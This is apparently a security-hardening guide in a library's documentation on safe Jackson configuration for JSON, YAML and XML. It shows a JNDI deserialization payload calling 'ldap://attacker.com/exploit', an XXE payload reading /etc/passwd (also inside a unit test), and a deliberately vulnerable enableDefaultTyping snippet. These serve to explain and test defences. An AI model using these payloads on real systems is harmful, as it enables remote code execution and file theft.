Jackson is used by Aether Datafixers for JSON, YAML, XML, and TOML via JacksonJsonOps, JacksonYamlOps, JacksonXmlOps, and JacksonTomlOps. Each format has specific security considerations.
| Format | Ops Class | Risk Level | Key Concerns |
|---|---|---|---|
| JSON | JacksonJsonOps |
Medium | Polymorphic typing, resource limits |
| YAML | JacksonYamlOps |
Low-Medium | Fewer features than SnakeYAML |
| XML | JacksonXmlOps |
High | XXE, Entity expansion |
| TOML | JacksonTomlOps |
Low | Minimal attack surface |
Jackson's "default typing" feature allows JSON to specify which Java class to instantiate. This is extremely dangerous with untrusted input:
// DANGEROUS - Never do this with untrusted data
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // VULNERABLE!Attackers can exploit this to execute arbitrary code:
{
"@class": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/exploit",
"autoCommit": true
}Never enable default typing for untrusted data:
// SAFE - Default configuration (no polymorphic typing)
ObjectMapper mapper = new ObjectMapper();
// Do NOT call enableDefaultTyping() or activateDefaultTyping()If polymorphic typing is absolutely required, use an allowlist:
ObjectMapper mapper = new ObjectMapper();
mapper.activateDefaultTyping(
BasicPolymorphicTypeValidator.builder()
.allowIfSubType(SafeBaseClass.class) // Only allow specific types
.build(),
ObjectMapper.DefaultTyping.NON_FINAL
);Jackson 2.15+ provides StreamReadConstraints to limit resource consumption:
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.StreamReadConstraints;
import com.fasterxml.jackson.databind.ObjectMapper;
StreamReadConstraints constraints = StreamReadConstraints.builder()
.maxNestingDepth(50) // Prevent stack overflow
.maxNumberLength(100) // Limit number string length
.maxStringLength(1_000_000) // 1MB max string
.maxNameLength(50_000) // Limit field name length
.maxDocumentLength(10_000_000) // 10MB max document (Jackson 2.16+)
.build();
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(constraints)
.build();
ObjectMapper safeMapper = new ObjectMapper(factory);| Constraint | Default | Recommended | Purpose |
|---|---|---|---|
maxNestingDepth |
1000 | 50-100 | Prevent stack overflow |
maxStringLength |
20MB | 1-10MB | Limit memory per string |
maxNumberLength |
1000 | 100 | Prevent huge number strings |
maxNameLength |
50000 | 1000 | Limit field name length |
maxDocumentLength |
unlimited | 10MB | Total document size |
XML External Entity (XXE) attacks allow attackers to:
- Read local files (
file:///etc/passwd) - Perform SSRF (
http://internal-server/) - Cause DoS via entity expansion
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>import com.fasterxml.jackson.dataformat.xml.XmlFactory;
import com.fasterxml.jackson.dataformat.xml.XmlMapper;
import javax.xml.stream.XMLInputFactory;
public class SecureXmlMapperFactory {
public static XmlMapper createSecureXmlMapper() {
// Create secure XMLInputFactory
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
// Disable external entities (XXE prevention)
xmlInputFactory.setProperty(
XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// Disable DTD processing
xmlInputFactory.setProperty(
XMLInputFactory.SUPPORT_DTD, false);
// Disable entity reference replacement
xmlInputFactory.setProperty(
XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES, false);
// Build secure XmlMapper
return XmlMapper.builder(
XmlFactory.builder()
.xmlInputFactory(xmlInputFactory)
.build()
).build();
}
}
// Usage with JacksonXmlOps
XmlMapper secureMapper = SecureXmlMapperFactory.createSecureXmlMapper();
JacksonXmlOps secureOps = new JacksonXmlOps(secureMapper);| Property | Value | Purpose |
|---|---|---|
IS_SUPPORTING_EXTERNAL_ENTITIES |
false |
Block external entity loading |
SUPPORT_DTD |
false |
Disable DTD processing entirely |
IS_REPLACING_ENTITY_REFERENCES |
false |
Don't expand entities |
IS_VALIDATING |
false |
Skip DTD validation |
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.StreamReadConstraints;
import com.fasterxml.jackson.databind.ObjectMapper;
import de.splatgames.aether.datafixers.codec.json.jackson.JacksonJsonOps;
public class SecureJacksonJsonConfig {
public static JacksonJsonOps createSecureOps() {
StreamReadConstraints constraints = StreamReadConstraints.builder()
.maxNestingDepth(50)
.maxNumberLength(100)
.maxStringLength(1_000_000)
.build();
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(constraints)
.build();
ObjectMapper mapper = new ObjectMapper(factory);
return new JacksonJsonOps(mapper);
}
}
// Usage
JacksonJsonOps secureOps = SecureJacksonJsonConfig.createSecureOps();
JsonNode node = secureOps.mapper().readTree(untrustedJson);
Dynamic<JsonNode> dynamic = new Dynamic<>(secureOps, node);import com.fasterxml.jackson.core.StreamReadConstraints;
import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
import com.fasterxml.jackson.dataformat.yaml.YAMLMapper;
import de.splatgames.aether.datafixers.codec.yaml.jackson.JacksonYamlOps;
public class SecureJacksonYamlConfig {
public static JacksonYamlOps createSecureOps() {
StreamReadConstraints constraints = StreamReadConstraints.builder()
.maxNestingDepth(50)
.maxStringLength(1_000_000)
.build();
YAMLFactory factory = YAMLFactory.builder()
.streamReadConstraints(constraints)
.build();
YAMLMapper mapper = new YAMLMapper(factory);
return new JacksonYamlOps(mapper);
}
}import com.fasterxml.jackson.core.StreamReadConstraints;
import com.fasterxml.jackson.dataformat.xml.XmlFactory;
import com.fasterxml.jackson.dataformat.xml.XmlMapper;
import de.splatgames.aether.datafixers.codec.xml.jackson.JacksonXmlOps;
import javax.xml.stream.XMLInputFactory;
public class SecureJacksonXmlConfig {
public static JacksonXmlOps createSecureOps() {
// Secure XML parsing
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES, false);
// Resource limits
StreamReadConstraints constraints = StreamReadConstraints.builder()
.maxNestingDepth(50)
.maxStringLength(1_000_000)
.build();
XmlFactory factory = XmlFactory.builder()
.xmlInputFactory(xmlInputFactory)
.streamReadConstraints(constraints)
.build();
XmlMapper mapper = XmlMapper.builder(factory).build();
return new JacksonXmlOps(mapper);
}
}Additional security-relevant features:
ObjectMapper mapper = new ObjectMapper();
// Fail on unknown properties (defense in depth)
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
// Fail on null for primitives
mapper.configure(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES, true);
// Fail on missing creator properties
mapper.configure(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES, true);@Test
void rejectsXxeAttack() {
String xxePayload = """
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
""";
JacksonXmlOps secureOps = SecureJacksonXmlConfig.createSecureOps();
assertThrows(Exception.class, () ->
secureOps.mapper().readTree(xxePayload)
);
}
@Test
void rejectsDeeplyNestedJson() {
// Create deeply nested JSON
StringBuilder json = new StringBuilder();
for (int i = 0; i < 100; i++) json.append("{\"a\":");
json.append("1");
for (int i = 0; i < 100; i++) json.append("}");
JacksonJsonOps secureOps = SecureJacksonJsonConfig.createSecureOps();
assertThrows(StreamConstraintsException.class, () ->
secureOps.mapper().readTree(json.toString())
);
}